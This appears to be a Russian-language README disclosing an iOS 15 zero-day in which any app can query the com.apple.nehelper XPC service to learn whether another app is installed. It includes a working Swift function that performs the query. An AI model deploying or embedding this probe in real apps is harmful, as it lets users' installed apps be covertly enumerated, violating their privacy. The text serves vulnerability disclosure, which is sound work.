
iOS 15 0-day exploit (still works in 15.0.2)
Я обновил этот код, чтобы избежать прямого использования Private API. Подробнее читайте в моём посте в блоге. Однако это означает, что теперь этот код привязан к версии iOS и, возможно, к модели устройства. Поэтому если он не работает на вашем устройстве, пересчитайте и обновите смещения в файле c.c. Оригинальный код можно найти в ветке direct.
Уязвимость позволяет любому установленному пользователем приложению определять, установлено ли на устройстве какое-либо приложение, зная его bundle ID.
У XPC-эндпоинта "com.apple.nehelper" есть метод, доступный любому приложению, который принимает bundle ID в качестве параметра и возвращает массив с некоторыми cache UUID, если приложение с соответствующим bundle ID установлено на устройстве, или пустой массив в противном случае. Это происходит в -[NEHelperCacheManager onQueueHandleMessage:] в /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}